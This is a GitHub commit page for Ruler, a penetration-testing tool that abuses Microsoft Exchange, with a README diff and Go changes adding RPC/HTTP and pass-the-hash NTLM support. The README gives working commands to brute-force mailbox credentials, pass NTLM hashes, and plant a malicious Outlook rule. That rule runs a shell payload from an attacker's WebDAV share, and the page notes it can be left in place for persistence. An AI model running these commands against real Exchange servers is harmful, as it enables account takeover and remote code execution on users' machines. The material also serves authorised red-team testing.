Skip to content

Commit

Permalink
Merge pull request #9 from sensepost/dev
Browse files Browse the repository at this point in the history
Dev merge into Ruler 2
  • Loading branch information
staaldraad authored Dec 1, 2016
2 parents 0a61a50 + 65f7b78 commit 8996f5b
Show file tree
Hide file tree
Showing 17 changed files with 3,921 additions and 1,000 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -24,3 +24,4 @@ _testmain.go
*.prof

ruler-*
ruler
134 changes: 105 additions & 29 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,12 +22,8 @@ Ruler attempts to be semi-smart when it comes to interacting with Exchange and u
# Getting the Code

Ruler is written in Go so you'll need to have Go setup to run/build the project
The first step as always is to clone the repo :

```
git clone https://github.com/sensepost/ruler.git
```
Or you can get it through Go:
Get it through Go:
```
go get github.com/sensepost/ruler
```
Expand All @@ -39,27 +35,98 @@ go run ruler.go -h

Or build it (the prefered option):

The first step as always is to clone the repo :
```
git clone https://github.com/sensepost/ruler.git
```

Ensure you have the dependencies (go get is the easiest option, otherwise clone the repos into your GOPATH):
```
go get github.com/urfave/cli
go get github.com/staaldraad/go-ntlm/ntlm
```
Then build it
```
go build
```

# Interacting with Exchange

It is important to note that for now this only works with the newer MAPI/HTTP used for OutlookAnywhere. The older RPC/HTTP which MAPI replaces is not supported and may possibly not be supported.
~~It is important to note that for now this only works with the newer MAPI/HTTP used for OutlookAnywhere. The older RPC/HTTP which MAPI replaces is not supported and may possibly not be supported.~~ RPC/HTTP support has also been included, with Ruler favouring MAPI/HTTP. If MAPI/HTTP fails, an attempt will be made to use RPC/HTTP. You can also force RPC/HTTP by supplying the ```--rpc``` flag.

As mentioned before there are multiple functions to Ruler. In most cases you'll want to first find a set of valid credentials. Do this however you wish, Phishing, Wifi+Mana or brute-force.

# Basic Usage

Ruler has 5 basic commands, these are:

* display -- list all the current rules
* add -- add a rule
* delete -- delete a rule
* brute -- brute force credentials
* help -- show the help screen

There are a few global flags that should be used with most commands, while each command has sub-flags. For details on these, use the **help** command.

```
NAME:
ruler - A tool to abuse Exchange Services
USAGE:
ruler [global options] command [command options] [arguments...]
VERSION:
2.0
DESCRIPTION:
_
_ __ _ _| | ___ _ __
| '__| | | | |/ _ \ '__|
| | | |_| | | __/ |
|_| \__,_|_|\___|_|
A tool by @sensepost to abuse Exchange Services.
AUTHOR:
Etienne Stalmans <[email protected]>
COMMANDS:
add, a add a new rule
delete, r delete an existing rule
display, d display all existing rules
check, c Check if the credentials work and we can interact with the mailbox
brute, b Do a bruteforce attack against the autodiscover service to find valid username/passwords
abk Interact with the Global Address Book
help, h Shows a list of commands or help for one command
GLOBAL OPTIONS:
--domain value, -d value A domain for the user (usually required for domain\username)
--username value, -u value A valid username
--password value, -p value A valid password
--hash value A NT hash for pass the hash (NTLMv1)
--email value, -e value The target's email address
--url value If you know the Autodiscover URL or the autodiscover service is failing. Requires full URI, https://autodisc.d.com/autodiscover/autodiscover.xml
--insecure, -k Ignore server SSL certificate errors
--encrypt Use NTLM auth on the RPC level - some environments require this
--basic, -b Force Basic authentication
--admin Login as an admin
--rpc Force RPC/HTTP rather than MAPI/HTTP
--verbose Be verbose and show some of thei inner workings
--help, -h show help
--version, -v print the version
```

## Brute-force for credentials

If you go the brute-force route, Ruler is your friend. It has a built-in brute-forcer which does a semi-decent job of finding creds.

```
./ruler -domain targetdomain.com -brute -usernames /path/to/user.txt -passwords /path/to/passwords.txt
./ruler --domain targetdomain.com brute --users /path/to/user.txt -passwords /path/to/passwords.txt
```
You should see your brute-force in action:

```
./ruler -domain evilcorp.ninja -brute -usernames ~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure
./ruler --domain evilcorp.ninja brute --users ~/users.txt --passwords ~/passwords.txt --delay 0 --insecure --verbose
[*] Starting bruteforce
[x] Failed: cindy.baker:P@ssw0rd
Expand Down Expand Up @@ -92,21 +159,22 @@ john.ford:August2016
henry.hammond:Password!2016
cindy.baker:Password1
./ruler -domain evilcorp.ninja -brute -userpass userpass.txt -v -insecure
./ruler --domain evilcorp.ninja brute --userpass userpass.txt -v --insecure
[*] Starting bruteforce
[+] Success: john.ford:August2016
[x] Failed: henry.hammond:Password!2016
[+] Success: cindy.baker:Password1
```

There are a few other flags that work with ```-brute```
There are a few other flags that work with ```brute```

These are:
* -stop _//stop on the first valid username:password combo_
* -delay _//how long to wait between multiple password guesses_
* -attempts _//how many attempts before we delay (attempts per user)_
* -insecure _//if the Exchange server has a bad SSL cerificate_
* -v _//be verbose and show failed attempts_
* --stop _//stop on the first valid username:password combo_
* --delay _//how long to wait between multiple password guesses_
* --attempts _//how many attempts before we delay (attempts per user)_
* --insecure _//if the Exchange server has a bad SSL cerificate_
* --verbose _//be verbose and show failed attempts_

## The autodiscover service
While Ruler makes a best effort to "autodiscover" the necessary settings, you may still run into instances of it failing. The common causes are:
Expand All @@ -116,32 +184,38 @@ While Ruler makes a best effort to "autodiscover" the necessary settings, you ma

If you encounter an Exchange server where the Autodiscover service is failing, you can manually specify the Autodiscover URL:

``` ./ruler -url http://autodiscover.somedomain.com/autodiscover/autodiscover.xml ```
``` ./ruler --url http://autodiscover.somedomain.com/autodiscover/autodiscover.xml ```

If you run into issues with Authentication (and you know the creds are correct), you can try and force the use of basic authentication with ```-basic```
If you run into issues with Authentication (and you know the creds are correct), you can try and force the use of basic authentication with the global ```--basic```

The ```-v``` flag will also give you some insight into the process being used by the autodiscover service.
The global ```--verbose``` flag will also give you some insight into the process being used by the autodiscover service.

## PtH - Passing the hash

Ruler has support for PtH attacks, allowing you to reuse valid NTLM hashes (think responder, mimikatz, mana-eap) instead of a password. Simply provide the hash instead of a password and you are good to go. To provide the hash, use the global flag ```--hash```.

```
./ruler --domain evilcorp --username validuser --hash 71bc15c57d836a663ed0b02631d300be --email [email protected] display
```

## Display existing rules / verify account

Once you have a set of credentials you can target the user's mailbox. Here you'll need to know their email address (address book searching is in the planned extension).

```
./ruler -domain targetdomain.com -email [email protected] -user username -pass password -display
./ruler --domain targetdomain.com --email [email protected] --username username --password password display
```

Output:
```
./ruler -domain evilcorp.ninja -user john.ford -pass August2016 -email [email protected] -display -insecure
./ruler --domain evilcorp.ninja --username john.ford --password August2016 --email [email protected] display
[*] Retrieving MAPI info
[*] Doing Autodiscover for domain
[+] MAPI URL found: https://mail.evilcorp.ninja/mapi/emsmdb/[email protected]
[+] User DN: /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford
[*] Got Context, Doing ROPLogin
[*] And we are authenticated
[+] Mailbox GUID: [251 102 208 159 53 202 228 77 184 67 76 15 228 47 61 223]
[*] Openning the Inbox
[+] Retrieving Rules
[+] Found 0 rules
Expand All @@ -152,7 +226,7 @@ Output:
To delete rules, use the ruleId displayed next to the rule name (000000df1)

```
./ruler -domain targetdomain.com -email [email protected] -user username -pass password -delete 000000df1
./ruler --domain targetdomain.com --email [email protected] --username username --password password delete --id 000000df1
```

# Popping a shell
Expand All @@ -162,13 +236,13 @@ Now the fun part. Your initial setup is the same as outlined in the [Silentbreak
To create the new rule user Ruler and:

```
./ruler -domain targetdomain.com -email [email protected] -user username -pass password -loc "\\\\yourserver\\webdav\\shell.bat" -trigger "pop a shell" -rule maliciousrule
./ruler --domain targetdomain.com --email [email protected] --username username --password password add --location "\\\\yourserver\\webdav\\shell.bat" --trigger "pop a shell" --name maliciousrule
```

The various parts:
* `-loc` _this is the location of your remote shell *note the double slashes* (or c:/Windows/system32/calc.exe)_
* `-trigger` _the string within the subject you want to trigger the rule_
* `-rule` _a name for your rule_
* `--location` _this is the location of your remote shell *note the double slashes* (or c:/Windows/system32/calc.exe)_
* `--trigger` _the string within the subject you want to trigger the rule_
* `--name` _a name for your rule_


Output:
Expand All @@ -179,7 +253,6 @@ Output:
[+] User DN: /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford
[*] Got Context, Doing ROPLogin
[*] And we are authenticated
[+] Mailbox GUID: [251 102 208 159 53 202 228 77 184 67 76 15 228 47 61 223]
[*] Openning the Inbox
[*] Adding Rule
[*] Rule Added. Fetching list of rules...
Expand All @@ -191,7 +264,7 @@ You should now be able to send an email to your target with the trigger string i

# Semi-Autopwn

If you want to automate the triggering of the rule, Ruler is able to create a new message in the user's inbox, using their own email address. This means you no longer need to send an email to your target. Simply use the ```-send``` flag when creating your rule, and Ruler will wait 30seconds for your rules to synchronise (adjust this in the source if you think 30s is too long/short) and then send an email via MAPI.
If you want to automate the triggering of the rule, Ruler is able to create a new message in the user's inbox, using their own email address. This means you no longer need to send an email to your target. Simply use the ```--send``` flag when creating your rule, and Ruler will wait 30seconds for your rules to synchronise (adjust this in the source if you think 30s is too long/short) and then send an email via MAPI.

```
[*] Retrieving MAPI/HTTP info
Expand All @@ -201,7 +274,6 @@ If you want to automate the triggering of the rule, Ruler is able to create a ne
[+] User DN: /o=First Organization/ou=Exchange Administrative Group(FYDIBOHF23SPDLT)/cn=Recipients/cn=0003BFFDFEF9FB24
[*] Got Context, Doing ROPLogin
[*] And we are authenticated
[+] Mailbox GUID: dc561d32a809304b8dbc91cc9f0ae1e2
[*] Openning the Inbox
[*] Adding Rule
[*] Rule Added. Fetching list of rules...
Expand All @@ -215,6 +287,10 @@ Rule: autopop RuleID: 010000000c4baa84

Enjoy your shell and don't forget to clean-up after yourself by deleting the rule (or leave it for persistence).

## A note about RPC

RPC/HTTP usually works through a RPC/HTTP proxy, this requires NTLM authentication. By default, Ruler takes care of this. There is however the option to have additional security enabled for Exchange, where Encryption and Integrity checking is enabled on RPC. This requires addional auth to happen on the RPC layer (inside the already NTLM authenticated HTTP channel). To force this, use the ```--encrypt``` flag. Ruler will try and warn you that this is required, if it is able to detect an issue. Alternatively just use this flag when in doubt.

[Silentbreak blog]: <https://silentbreaksecurity.com/malicious-outlook-rules/>
[SensePost blog]: <https://sensepost.com/blog/2016/mapi-over-http-and-mailrule-pwnage/>
[Ruler on YouTube]:<https://www.youtube.com/watch?v=Epk28fEw2Vk>
13 changes: 10 additions & 3 deletions autodiscover/autodiscover.go
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ import (
//globals

//SessionConfig holds the configuration for this autodiscover session
var SessionConfig *utils.Config
var SessionConfig *utils.Session
var autodiscoverStep int

//the xml for the autodiscover service
Expand Down Expand Up @@ -76,9 +76,10 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, error) {
//create an ntml http client
client = http.Client{
Transport: &httpntlm.NtlmTransport{
Domain: "",
Domain: SessionConfig.Domain,
User: SessionConfig.User,
Password: SessionConfig.Pass,
NTHash: SessionConfig.NTHash,
Insecure: SessionConfig.Insecure,
},
}
Expand Down Expand Up @@ -124,6 +125,7 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, error) {
//if we have been redirected to outlook, change the auth header to basic auth
if SessionConfig.Basic == false {
req.SetBasicAuth(SessionConfig.Email, SessionConfig.Pass)
SessionConfig.BasicAuth = req.Header.Get("WWW-Authenticate")
} else {
req.SetBasicAuth(SessionConfig.User, SessionConfig.Pass)
}
Expand All @@ -144,6 +146,7 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, error) {
return autodiscover(domain, mapi)
}
//we've done all three steps of autodiscover and all three failed

return nil, err
}
}
Expand All @@ -166,7 +169,11 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, error) {
}
return nil, fmt.Errorf("[x] Error in autodiscover response, %s", err)
}
//fmt.Println(string(body))
SessionConfig.NTLMAuth = req.Header.Get("Authorization")
if SessionConfig.Verbose == true {

fmt.Println(string(body))
}
//check if we got a RedirectAddr ,
//if yes, get the new autodiscover url
if autodiscoverResp.Response.Account.Action == "redirectAddr" {
Expand Down
34 changes: 20 additions & 14 deletions http-ntlm/ntlmtransport.go
Original file line number Diff line number Diff line change
Expand Up @@ -14,30 +14,44 @@ import (
"io/ioutil"
"net/http"
"strings"
"time"

"github.com/ThomsonReutersEikon/go-ntlm/ntlm"
"github.com/sensepost/ruler/utils"
"github.com/staaldraad/go-ntlm/ntlm"
)

// NtlmTransport is implementation of http.RoundTripper interface
type NtlmTransport struct {
Domain string
User string
Password string
NTHash []byte
Insecure bool
}

// RoundTrip method send http request and tries to perform NTLM authentication
func (t NtlmTransport) RoundTrip(req *http.Request) (res *http.Response, err error) {

session, err := ntlm.CreateClientSession(ntlm.Version2, ntlm.ConnectionlessMode)
if err != nil {
return nil, err
}

session.SetUserInfo(t.User, t.Password, t.Domain)

if len(t.NTHash) > 0 {
session.SetNTHash(t.NTHash)
}

b, _ := session.GenerateNegotiateMessage()
// first send NTLM Negotiate header
r, _ := http.NewRequest("GET", req.URL.String(), strings.NewReader(""))
r.Header.Add("Authorization", "NTLM "+utils.EncBase64(utils.NegotiateSP()))
r.Header.Add("Authorization", "NTLM "+utils.EncBase64(b.Bytes()))

tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: t.Insecure},
}
client := http.Client{Transport: tr, Timeout: time.Minute}

client := http.Client{Transport: tr, Timeout: 0} //time.Minute * 2}
resp, err := client.Do(r)

if err != nil {
Expand Down Expand Up @@ -70,13 +84,6 @@ func (t NtlmTransport) RoundTrip(req *http.Request) (res *http.Response, err err
return nil, err
}

session, err := ntlm.CreateClientSession(ntlm.Version1, ntlm.ConnectionlessMode)
if err != nil {
return nil, err
}

session.SetUserInfo(t.User, t.Password, t.Domain)

// parse NTLM challenge
challenge, err := ntlm.ParseChallengeMessage(challengeBytes)

Expand All @@ -91,16 +98,15 @@ func (t NtlmTransport) RoundTrip(req *http.Request) (res *http.Response, err err

// authenticate user
authenticate, err := session.GenerateAuthenticateMessage()

//fmt.Printf("%x\n", authenticate.Bytes())
if err != nil {
return nil, err
}

// set NTLM Authorization header
req.Header.Set("Authorization", "NTLM "+utils.EncBase64(authenticate.Bytes()))
resp, err = client.Do(req)

resp, err = client.Do(req)
}

return resp, err
}
Loading

0 comments on commit 8996f5b

Please sign in to comment.